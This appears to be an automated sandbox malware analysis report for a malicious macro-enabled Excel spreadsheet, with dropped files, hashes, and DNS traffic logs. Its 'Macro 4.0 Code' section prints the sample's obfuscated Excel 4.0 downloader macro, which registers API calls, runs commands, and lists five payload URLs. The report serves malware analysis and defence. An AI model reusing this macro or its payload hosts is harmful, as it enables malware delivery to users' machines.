https://ovisualuiapp.azurewebsites.net/pbiagave/	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false	Avira URL Cloud: safe	unknown
https://visio.uservoice.com/forums/368202-visio-on-devices	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high
https://directory.services.	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://login.windows-ppe.net/common/oauth2/authorize	3004DB52-1097-432F-8F3D-E32CBC0917F7.0.dr	false		high

Contacted IPs

No contacted IP infos

General Information

Joe Sandbox Version:	31.0.0 Red Diamond
Analysis ID:	343115
Start date:	22.01.2021
Start time:	11:17:48
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 4m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	Refusal-1605078281-01212021.xlsm
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Run name:	Potential for more IOCs and behavior
Number of analysed new started processes analysed:	26
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal80.troj.expl.evad.winXLSM@3/10@2/0
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .xlsm Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe, UsoClient.exe Excluded IPs from analysis (whitelisted): 104.43.139.144, 13.88.21.125, 52.109.76.68, 52.109.8.25, 52.109.8.22, 40.88.32.150, 23.210.248.85, 51.104.139.180, 92.122.213.194, 92.122.213.247, 2.20.142.209, 2.20.142.210, 20.54.26.129, 51.104.144.132 Excluded domains from analysis (whitelisted): au.download.windowsupdate.com.edgesuite.net, prod-w.nexus.live.com.akadns.net, arc.msn.com.nsatc.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, skypedataprdcoleus15.cloudapp.net, audownload.windowsupdate.nsatc.net, nexus.officeapps.live.com, officeclient.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, au-bg-shim.trafficmanager.net, fs.microsoft.com, prod.configsvc1.live.com.akadns.net, ris-prod.trafficmanager.net, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, skypedataprdcolcus16.cloudapp.net, a767.dscg3.akamai.net, ris.api.iris.microsoft.com, config.officeapps.live.com, blobcollector.events.data.trafficmanager.net, skypedataprdcolwus15.cloudapp.net, europe.configsvc1.live.com.akadns.net

Simulations

Behavior and APIs

No simulations

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\3004DB52-1097-432F-8F3D-E32CBC0917F7 Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	XML 1.0 document, UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	132942
Entropy (8bit):	5.372902390435943
Encrypted:	false
SSDEEP:	1536:mcQceNgaBtA3gZw+pQ9DQW+zAUH34ZldpKWXboOilXPErLL8Eh:orQ9DQW+zBX8P
MD5:	9217B8A4196E8FE4967D067FB7F18DEE
SHA1:	EE2A9FA7D8691D3E4E7380EAC6CBE5CCC2720D70
SHA-256:	D4B3342F27110F414ADD63DBB7D7B4CD19A485D8DD2AC10FC1F45FEC58FF2E02
SHA-512:	8176BA249652E9BBA8CF6A470397872BA023CFA1F3F4D824E1708FA23E77C4805A59A83957AF8088B30CCEC50BFAB388B7B8F4A7A1439D9C4378F00561F46BC1
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="utf-8"?>..<o:OfficeConfig xmlns:o="urn:schemas-microsoft-com:office:office">.. <o:services o:GenerationTime="2021-01-22T10:18:56">.. Build: 16.0.13720.30526-->.. <o:default>.. <o:ticket o:headerName="Authorization" o:headerValue="{}" />.. </o:default>.. <o:service o:name="Research">.. <o:url>https://rr.office.microsoft.com/research/query.asmx</o:url>.. </o:service>.. <o:service o:name="ORedir">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ORedirSSL">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ClViewClientHelpId">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientHome">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientTemplate">.. <o:url>https://ocsa.office.microsoft.com/client/15/help/template</o:url>.. </o:service>.. <o:

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\2B0F7EF2.png Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	PNG image data, 24 x 24, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	848
Entropy (8bit):	7.595467031611744
Encrypted:	false
SSDEEP:	24:NLJZbn0jL5Q3H/hbqzej+0C3Yi6yyuq53q:JIjm3pQCLWYi67lc
MD5:	02DB1068B56D3FD907241C2F3240F849
SHA1:	58EC338C879DDBDF02265CBEFA9A2FB08C569D20
SHA-256:	D58FF94F5BB5D49236C138DC109CE83E82879D0D44BE387B0EA3773D908DD25F
SHA-512:	9057CE6FA62F83BB3F3EFAB2E5142ABC41190C08846B90492C37A51F07489F69EDA1D1CA6235C2C8510473E8EA443ECC5694E415AEAF3C7BD07F864212064678
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.PNG........IHDR.............o.......sRGB.........pHYs..........+......IDAT8O.T]H.Q..;3...?..fk.lR..R$.R.Pb.Q...B..OA..T$.hAD...J../..-h...fj..+....;s.vg.Zsw.=...{.w.s.w.@.....;..s...O........;.y.p........,...s1@ Ir.:... .>.LLa..b?h...l.6..U....1....r.....T..O.d.KSA...7.YS..a.(F@....xe.^.I..$h....PpJ...k%.....9..QQ....h..!H................./....2..J2..HG....A....Q&...k...d..&..Xa.t..E....E..f2.d(..v.~.P.+.pik+;...xEU.g....._xfw...+...(..pQ.(..(.U./..)..@..?..........f.'...lx+@F...+....)..k.A2...r~B,....TZ..y..9...`..0....q....yY....Q.......A.....8j[.O9..t..&...g. I@ ..;..X!...9S.J5..'.xh...8I.~.+...mf.m.W.i..{...+>P...Rh...+..br^$. q.^.......(..._.j...$..Ar...MZm\|...9..E..!U[S.fDx7<....Wd.......p..C......^MyI:...c.^..SI.mGj,.......!...h..$..;...........yD./..a...-j.^:.}..v....RQY.^......IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\A76F8775.png Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	PNG image data, 24 x 24, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	557
Entropy (8bit):	7.343009301479381
Encrypted:	false
SSDEEP:	12:6v/7aLMZ5I9TvSb5Lr6U7+uHK2yJtNJTNSB0qNMQCvGEvfvqVFsSq6ixPT3Zf:Ng8SdCU7+uqF20qNM1dvfSviNd
MD5:	A516B6CB784827C6BDE58BC9D341C1BD
SHA1:	9D602E7248E06FF639E6437A0A16EA7A4F9E6C73
SHA-256:	EF8F7EDB6BA0B5ACEC64543A0AF1B133539FFD439F8324634C3F970112997074
SHA-512:	C297A61DA1D7E7F247E14D188C425D43184139991B15A5F932403EE68C356B01879B90B7F96D55B0C9B02F6B9BFAF4E915191683126183E49E668B6049048D35
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.PNG........IHDR.............o.......sRGB.........pHYs..........+......IDAT8Oc.......l.9a._.X....@.`ddbc.]...........O..m7.r0\|..."......?A.......w..;.N1u........_.[.\Y...BK=...F +.t.M~..oX..%....211o.q.P.".......y...../..l.r...4..Q]..h.....LL.d.......d....w.>{.e..k.7.9y.%.. .YpI...{.+Kv......./..\[...A....^.5c..O?.......G...VB..4HWY...9NU...?..S..$..1..6.U.....c... ....7..J. "M..5. ............_.......d.V.W.c.....Y.A..S....~.C.....q........t?..."n.....4......G_......Q..x..W.!L.a...3....MR.\|.-P#P;..p._.......jUG....X........IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\CCE31C44.png Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	PNG image data, 205 x 58, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	8301
Entropy (8bit):	7.970711494690041
Encrypted:	false
SSDEEP:	192:BzNWXTPmjktA8BddiGGwjNHOQRud4JTTOFPY4:B8aoVT0QNuzWKPh
MD5:	D8574C9CC4123EF67C8B600850BE52EE
SHA1:	5547AC473B3523BA2410E04B75E37B1944EE0CCC
SHA-256:	ADD8156BAA01E6A9DE10132E57A2E4659B1A8027A8850B8937E57D56A4FC204B
SHA-512:	20D29AF016ED2115C210F4F21C65195F026AAEA14AA16E36FD705482CC31CD26AB78C4C7A344FD11D4E673742E458C2A104A392B28187F2ECCE988B0612DBACF
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.PNG........IHDR.......:......IJ.....sRGB.........pHYs..........+.... .IDATx^..\....}.\6"Sp...g..9Ks..r..=r.U....Y..l.S.2...Q.'C............h}x........... ......\..N...z....._.\|......III.666...~~~..6l.Q.J...\..m..g.h.SRR.\.p....'N...EEE...X9......c.&M...].n.g4..E..g...w...{..]..;w..I...y.m\...~..;.].3{~..qV.k..._....?..w/$GlI\|..2. m,,,.-[.....sr.V1..g...on...........dl.'...'''[[[.R.......(..^...F.PT.Xq..Mnnn.3..M..g.......6.....pP"#F..P/S.L...W.^..o.r.....5H......111t....\|9..3...`J..>...{..t~/F.b..h.P..]z..)......o..4n.F..e...0!!!......#""h.K..K.....g.......^..w.!.$.&...7n.].F.\\\.A....6lxjj.K/........g.....3g......f....:t..s..5.C4..+W.y...88..?.,Y. .^...8{.@VN.6....Kbch.=zt...7+T....v.z....P........VVV..."t.N......$..Jag.v.U...P[(_.I?.9.4i.G.$U..D......W.r...........!>\|..#G...3..x.b......P....H!.Vj......u.2..*;..Z..c..._Ga....&L.......`.1.[.n].7..W_m..#8k...)U..L.....G..q.F.e>..s.......q....J....(.N.V...k..>m....=.).

C:\Users\user\AppData\Local\Temp\95C10000 Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	25980
Entropy (8bit):	7.555827267280556
Encrypted:	false
SSDEEP:	384:p8x/WsCYCLW4/Wj48aoVT0QNuzWKPqGn8bEfYa:OEs54MnW+u7qkZYa
MD5:	7CD20AF0DF9CD81DE4B82933450687ED
SHA1:	1B4E7BBDC43A94E30DAB157606C1016157EECB47
SHA-256:	AD24509748030F4173F1123AF9A4D5EDF3FB3305B591CD6E87EE82CFB6E98449
SHA-512:	D50F39FB63CD276040FCCBFD9552AE9E2DD4D3EC8668628886D5B6810A51FAAD3F09B1ADCF9E72BFA9025A16C4C11F6B160F63B2539371F3CF6AEFB928EA9A59
Malicious:	false
Reputation:	low
Preview:	.U.n.0....?..........C....I?`L.%...a...;.....+........pz.r.z.D&.V\4.Q.WA.....m.MT..k..c+.H.j....q.....>..]JR=:.&D.<...A.....j......T.g....C.?p.O6W7+..(../...w.....5.2...^.!..ba...C7.....1;..d.1=`.l.....}.......Hh.8.......Po"}..a(3..........R...i../!-.!,.. %LG5...fH.q.R..0..s`....LC%..v........W...#:.....y.S}....d7.vC9\OO\|..1Nym...v.:..CB..y#wg..7.....H...s.......x..w.........w......R]G.......c...c,.F..[....7.......PK..........!.................[Content_Types].xml ...(.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Thu Jun 27 16:19:49 2019, mtime=Fri Jan 22 18:18:58 2021, atime=Fri Jan 22 18:18:58 2021, length=12288, window=hide
Category:	dropped
Size (bytes):	904
Entropy (8bit):	4.646634171294751
Encrypted:	false
SSDEEP:	12:8Ba9KXUvuElPCH2F56OYUDHe+WrjAZ/2bDPLC5Lu4t2Y+xIBjKZm:8Bal56fAZiDO87aB6m
MD5:	95C4B25C07AC07BB845C53B494EDE67A
SHA1:	15CDDF11B239D0E7B1A007E4F00BE3697F092C47
SHA-256:	53FE03867FC42B5F405E635BA840BF22B58626C6707B3ECAED473A96B68A7D4B
SHA-512:	CBDF54B53A9026D89563AD51A4CFFC6909E27D698004420445248CE5806ED38CCEB967B76E731F65E0BA37377CF1F8A4AC70378217CC3C578DC5FA369E147F3D
Malicious:	false
Reputation:	low
Preview:	L..................F........N....-..{..o....$n.o.....0......................u....P.O. .:i.....+00.../C:\...................x.1......N....Users.d......L..6RQ.....................:.....q\|..U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....P.1.....>Q\|x..user.<.......Ny.6RQ......S....................b}@.h.a.r.d.z.....~.1.....6R`...Desktop.h.......Ny.6R`......Y..............>.........D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......E...............-.......D...........>.S......C:\Users\user\Desktop........\.....\.....\.....\.....\.D.e.s.k.t.o.p.........:..,.LB.)...As...`.......X.......216041...........!a..%.H.VZAj...4.4...........-..!a..%.H.VZAj...4.4...........-.............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.3.8.5.3.3.2.1.9.3.5.-.2.1.2.5.5.6.3.2.0.9.-.4.0.5.3.0.6.2.3.3.2.-.1.0.0.2.........9...1SPS..mD..pH.H@..=x.....h....H......K*..@.A..7sFJ............

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Refusal-1605078281-01212021.xlsm.LNK Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Sep 30 14:03:53 2020, mtime=Fri Jan 22 18:18:58 2021, atime=Fri Jan 22 18:18:58 2021, length=25980, window=hide
Category:	dropped
Size (bytes):	2290
Entropy (8bit):	4.63637302325524
Encrypted:	false
SSDEEP:	24:8ha567AdiZAUXpVDUC7aB6myha567AdiZAUXpVDUC7aB6m:8HAiaU5CTB6pHAiaU5CTB6
MD5:	1305CF83817914C893A027C5F5E728F8
SHA1:	9FDB9030A3C25372C0DA33733519F52529F85EA7
SHA-256:	9FCC4640B474FCCC76D671E988BE534728F7C692DA0D1C64F0202E149AB5AE8F
SHA-512:	A9920676ED17D1929CE7ECF2CB61AACD10F91F72B29A5879417CF35D1A55539E69540444CDC179206D0BE224DFA9736CEE733A7E4BD628D611E07A3CED2C6A72
Malicious:	true
Reputation:	low
Preview:	L..................F.... ...&a..:...;..o.....2.o....\|e...........................P.O. .:i.....+00.../C:\...................x.1......N....Users.d......L..6RQ.....................:.....q\|..U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....P.1.....>Q\|x..user.<.......Ny.6RQ......S....................b}@.h.a.r.d.z.....~.1.....>Q}x..Desktop.h.......Ny.6RQ......Y..............>.........D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......2.-f..6RY. .REFUSA~1.XLS..r......>Q{x6RY.....h.........................R.e.f.u.s.a.l.-.1.6.0.5.0.7.8.2.8.1.-.0.1.2.1.2.0.2.1...x.l.s.m.......f...............-.......e...........>.S......C:\Users\user\Desktop\Refusal-1605078281-01212021.xlsm..7.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.R.e.f.u.s.a.l.-.1.6.0.5.0.7.8.2.8.1.-.0.1.2.1.2.0.2.1...x.l.s.m.........:..,.LB.)...As...`.......X.......216041...........!a..%.H.VZAj......-.........-..!a..%.H.VZAj......-.........-.............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.3.

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	151
Entropy (8bit):	4.662236964996969
Encrypted:	false
SSDEEP:	3:oyBVomxW8ADB/eRVOUcpSvi/eRVOUcpSmxW8ADB/eRVOUcpSv:dj4KVgpGzVgpGKVgpc
MD5:	8B0B25D7B4A074B3980762CB6B8233E7
SHA1:	F7042F4384DA013B1A12C91349B4142F770AEFD4
SHA-256:	4B4855BBA82BD3048893A4CA01AEA150B32836123983E6B4BDB4B022D3889B39
SHA-512:	4AEEEB2031279419E4335C20BD08766A36AC204C109FC2F568E8509A1D859CDBD754699DE11C66D20F20B1F561B349588FDCD2577C2903D77A691C8D667D6FB9
Malicious:	false
Reputation:	low
Preview:	Desktop.LNK=0..[misc]..Refusal-1605078281-01212021.xlsm.LNK=0..Refusal-1605078281-01212021.xlsm.LNK=0..[misc]..Refusal-1605078281-01212021.xlsm.LNK=0..

C:\Users\user\Desktop\76C10000 Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	25980
Entropy (8bit):	7.555827267280556
Encrypted:	false
SSDEEP:	384:p8x/WsCYCLW4/Wj48aoVT0QNuzWKPqGn8bEfYa:OEs54MnW+u7qkZYa
MD5:	7CD20AF0DF9CD81DE4B82933450687ED
SHA1:	1B4E7BBDC43A94E30DAB157606C1016157EECB47
SHA-256:	AD24509748030F4173F1123AF9A4D5EDF3FB3305B591CD6E87EE82CFB6E98449
SHA-512:	D50F39FB63CD276040FCCBFD9552AE9E2DD4D3EC8668628886D5B6810A51FAAD3F09B1ADCF9E72BFA9025A16C4C11F6B160F63B2539371F3CF6AEFB928EA9A59
Malicious:	false
Reputation:	low
Preview:	.U.n.0....?..........C....I?`L.%...a...;.....+........pz.r.z.D&.V\4.Q.WA.....m.MT..k..c+.H.j....q.....>..]JR=:.&D.<...A.....j......T.g....C.?p.O6W7+..(../...w.....5.2...^.!..ba...C7.....1;..d.1=`.l.....}.......Hh.8.......Po"}..a(3..........R...i../!-.!,.. %LG5...fH.q.R..0..s`....LC%..v........W...#:.....y.S}....d7.vC9\OO\|..1Nym...v.:..CB..y#wg..7.....H...s.......x..w.........w......R]G.......c...c,.F..[....7.......PK..........!.................[Content_Types].xml ...(.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\~$Refusal-1605078281-01212021.xlsm Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	330
Entropy (8bit):	1.6081032063576088
Encrypted:	false
SSDEEP:	3:RFXI6dtBhFXI6dtt:RJZhJ1
MD5:	836727206447D2C6B98C973E058460C9
SHA1:	D83351CF6DE78FEDE0142DE5434F9217C4F285D2
SHA-256:	D9BECB14EECC877F0FA39B6B6F856365CADF730B64E7FA2163965D181CC5EB41
SHA-512:	7F843EDD7DC6230BF0E05BF988D25AE6188F8B22808F2C990A1E8039C0CECC25D1D101E0FDD952722FEAD538F7C7C14EEF9FD7F4B31036C3E7F79DE570CD0607
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	.pratesh ..p.r.a.t.e.s.h. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..pratesh ..p.r.a.t.e.s.h. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Static File Info

General
File type:	Microsoft Excel 2007+
Entropy (8bit):	7.5580097325384505
TrID:	Excel Microsoft Office Open XML Format document (40004/1) 83.33% ZIP compressed archive (8000/1) 16.67%
File name:	Refusal-1605078281-01212021.xlsm
File size:	26157
MD5:	6b11147a8eb468cb247d32f4be0f7469
SHA1:	ff599ff7ed480bf2485e1b85aed7e8c6bbe7aeec
SHA256:	2fc494967112688b5cf699386bbab79f9d23cc03527769adc932739a0be93094
SHA512:	3329e39614e0f53ab79ac35f1da674bfc9cd01474a8bf873de6135c472513696081a52c12c009d4ee84ba3befb0f9d576367f736ffe9efc9ddce1209f1d1e05d
SSDEEP:	384:Ayfowh92aGc2FE6xtCg5SV8m2ylTQ8aoVT0QNuzWKP8W2VoXwL:AyflhQaGc2F5h5S6f6TfW+u7D2V7L
File Content Preview:	PK..........!.................[Content_Types].xml ...(.........................................................................................................................................................................................................

File Icon


Icon Hash:	74ecd0e2f696908c

Static OLE Info

General
Document Type:	OpenXML
Number of OLE Files:	1

OLE File "Refusal-1605078281-01212021.xlsm"

Indicators
Has Summary Info:
Application Name:
Encrypted Document:
Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:

Macro 4.0 Code

,,,,,,,,,,,,=B154(),"=FORMULA.FILL(Mols!U54&Mols!U55&Mols!U56&Mols!U57&Mols!U58&Mols!U59,BB53)","=FORMULA.FILL(Mols!AC56,HI18807)","=EXEC(""r""&Mols!AC60&"" ""&Mols!AC59&HG9961)",=B156(),=C156(),=HALT(),"=FORMULA.FILL(Mols!V53&Mols!V54&Mols!V55&Mols!V56&Mols!V57&Mols!V58&Mols!V59&Mols!V60&Mols!V61&Mols!V62&Mols!V63&Mols!V64&Mols!V65&Mols!V66&Mols!V67&Mols!V68&Mols!V69&Mols!V70,HZ48004)","=FORMULA.FILL(Mols!AC57,AN32726)",,=B158(),=C158(),"=REGISTER(BB53,HZ48004,HI18898,IK4106,,1,9)","=FORMULA.FILL(Mols!U62&Mols!U63&Mols!U64&Mols!U65&Mols!U66&Mols!U67,HI18898)","=FORMULA.FILL(""BCCJ"",IK16309)","=Niokaser(0,GT17028,AQ4875,0,0)",=B160(),=C160(),,"=FORMULA.FILL(Mols!AC58&B169,GT17028)","=FORMULA.FILL(""Niokaser"",IK4106)","=REGISTER(HI18807,AN32726,IK16309,DI7875,,1,9)",=B162(),=C162(),"=Vuolasd(GT17028,AQ4875,1)","=FORMULA.FILL(Mols!AC59,AQ4875)","=FORMULA.FILL(""Vuolasd"",DI7875)",,"=FORMULA.FILL(Mols!AC60,AS41071)",=A158(),=GOTO(D154),=B165(),,,"=FORMULA.FILL(Mols!AC61,HG9961)",,,=C154(),,,,,,,,,"=INDEX(D171:D175,RANDBETWEEN(1,5))",,,,,,,,www.webdevelopmentinlahore.com/whoqvn/5555555555.jpg,,,digital-box.fr/hjmrcv/5555555555.jpg,,,bbpqtf.com/qextstpcuumf/5555555555.jpg,,,rishtee.com/zbpxyo/5555555555.jpg,,,leafybuy.com/norzygt/5555555555.jpg

Network Behavior

Network Port Distribution

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 22, 2021 11:18:44.126029968 CET	55984	53	192.168.2.3	8.8.8.8
Jan 22, 2021 11:18:44.176923037 CET	53	55984	8.8.8.8	192.168.2.3
Jan 22, 2021 11:18:45.059998035 CET	64185	53	192.168.2.3	8.8.8.8
Jan 22, 2021 11:18:45.116636992 CET	53	64185	8.8.8.8	192.168.2.3
Jan 22, 2021 11:18:46.005888939 CET	65110	53	192.168.2.3	8.8.8.8
Jan 22, 2021 11:18:46.057089090 CET	53	65110	8.8.8.8	192.168.2.3
Jan 22, 2021 11:18:47.938009977 CET	58361	53	192.168.2.3	8.8.8.8
Jan 22, 2021 11:18:47.985980034 CET	53	58361	8.8.8.8	192.168.2.3
Jan 22, 2021 11:18:54.915770054 CET	63492	53	192.168.2.3	8.8.8.8
Jan 22, 2021 11:18:54.966728926 CET	53	63492	8.8.8.8	192.168.2.3
Jan 22, 2021 11:18:56.042081118 CET	60831	53	192.168.2.3	8.8.8.8
Jan 22, 2021 11:18:56.101699114 CET	53	60831	8.8.8.8	192.168.2.3
Jan 22, 2021 11:18:56.599828959 CET	60100	53	192.168.2.3	8.8.8.8
Jan 22, 2021 11:18:56.660315990 CET	53	60100	8.8.8.8	192.168.2.3
Jan 22, 2021 11:18:57.605480909 CET	60100	53	192.168.2.3	8.8.8.8
Jan 22, 2021 11:18:57.677603960 CET	53	60100	8.8.8.8	192.168.2.3
Jan 22, 2021 11:18:58.622731924 CET	60100	53	192.168.2.3	8.8.8.8
Jan 22, 2021 11:18:58.681610107 CET	53	60100	8.8.8.8	192.168.2.3
Jan 22, 2021 11:18:58.866959095 CET	53195	53	192.168.2.3	8.8.8.8
Jan 22, 2021 11:18:58.914959908 CET	53	53195	8.8.8.8	192.168.2.3
Jan 22, 2021 11:18:59.279544115 CET	50141	53	192.168.2.3	8.8.8.8
Jan 22, 2021 11:18:59.660343885 CET	53	50141	8.8.8.8	192.168.2.3
Jan 22, 2021 11:18:59.689553976 CET	53023	53	192.168.2.3	8.8.8.8
Jan 22, 2021 11:18:59.958020926 CET	53	53023	8.8.8.8	192.168.2.3
Jan 22, 2021 11:19:00.124672890 CET	49563	53	192.168.2.3	8.8.8.8
Jan 22, 2021 11:19:00.180973053 CET	53	49563	8.8.8.8	192.168.2.3
Jan 22, 2021 11:19:00.637095928 CET	60100	53	192.168.2.3	8.8.8.8
Jan 22, 2021 11:19:00.696186066 CET	53	60100	8.8.8.8	192.168.2.3
Jan 22, 2021 11:19:01.144889116 CET	51352	53	192.168.2.3	8.8.8.8
Jan 22, 2021 11:19:01.192786932 CET	53	51352	8.8.8.8	192.168.2.3
Jan 22, 2021 11:19:02.330770969 CET	59349	53	192.168.2.3	8.8.8.8
Jan 22, 2021 11:19:02.387371063 CET	53	59349	8.8.8.8	192.168.2.3
Jan 22, 2021 11:19:03.480076075 CET	57084	53	192.168.2.3	8.8.8.8
Jan 22, 2021 11:19:03.528166056 CET	53	57084	8.8.8.8	192.168.2.3
Jan 22, 2021 11:19:04.445410967 CET	58823	53	192.168.2.3	8.8.8.8
Jan 22, 2021 11:19:04.493195057 CET	53	58823	8.8.8.8	192.168.2.3
Jan 22, 2021 11:19:04.641845942 CET	60100	53	192.168.2.3	8.8.8.8
Jan 22, 2021 11:19:04.700823069 CET	53	60100	8.8.8.8	192.168.2.3
Jan 22, 2021 11:19:06.961056948 CET	57568	53	192.168.2.3	8.8.8.8
Jan 22, 2021 11:19:07.019844055 CET	53	57568	8.8.8.8	192.168.2.3
Jan 22, 2021 11:19:07.225059032 CET	50540	53	192.168.2.3	8.8.8.8
Jan 22, 2021 11:19:07.275907993 CET	53	50540	8.8.8.8	192.168.2.3
Jan 22, 2021 11:19:08.425071001 CET	54366	53	192.168.2.3	8.8.8.8
Jan 22, 2021 11:19:08.481858015 CET	53	54366	8.8.8.8	192.168.2.3
Jan 22, 2021 11:19:09.277237892 CET	53034	53	192.168.2.3	8.8.8.8
Jan 22, 2021 11:19:09.325215101 CET	53	53034	8.8.8.8	192.168.2.3
Jan 22, 2021 11:19:13.662147999 CET	57762	53	192.168.2.3	8.8.8.8
Jan 22, 2021 11:19:13.710149050 CET	53	57762	8.8.8.8	192.168.2.3
Jan 22, 2021 11:19:26.571655035 CET	55435	53	192.168.2.3	8.8.8.8
Jan 22, 2021 11:19:26.629343033 CET	53	55435	8.8.8.8	192.168.2.3
Jan 22, 2021 11:19:34.079920053 CET	50713	53	192.168.2.3	8.8.8.8
Jan 22, 2021 11:19:34.139143944 CET	53	50713	8.8.8.8	192.168.2.3
Jan 22, 2021 11:19:36.508429050 CET	56132	53	192.168.2.3	8.8.8.8
Jan 22, 2021 11:19:36.577780962 CET	53	56132	8.8.8.8	192.168.2.3
Jan 22, 2021 11:19:50.560648918 CET	58987	53	192.168.2.3	8.8.8.8
Jan 22, 2021 11:19:50.608686924 CET	53	58987	8.8.8.8	192.168.2.3
Jan 22, 2021 11:19:54.989357948 CET	56579	53	192.168.2.3	8.8.8.8
Jan 22, 2021 11:19:55.045957088 CET	53	56579	8.8.8.8	192.168.2.3
Jan 22, 2021 11:20:25.483525038 CET	60633	53	192.168.2.3	8.8.8.8
Jan 22, 2021 11:20:25.531593084 CET	53	60633	8.8.8.8	192.168.2.3
Jan 22, 2021 11:20:27.688492060 CET	61292	53	192.168.2.3	8.8.8.8
Jan 22, 2021 11:20:27.747167110 CET	53	61292	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jan 22, 2021 11:18:59.279544115 CET	192.168.2.3	8.8.8.8	0x833b	Standard query (0)	leafybuy.com	A (IP address)	IN (0x0001)
Jan 22, 2021 11:18:59.689553976 CET	192.168.2.3	8.8.8.8	0x442f	Standard query (0)	leafybuy.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jan 22, 2021 11:18:59.660343885 CET	8.8.8.8	192.168.2.3	0x833b	Server failure (2)	leafybuy.com	none	none	A (IP address)	IN (0x0001)
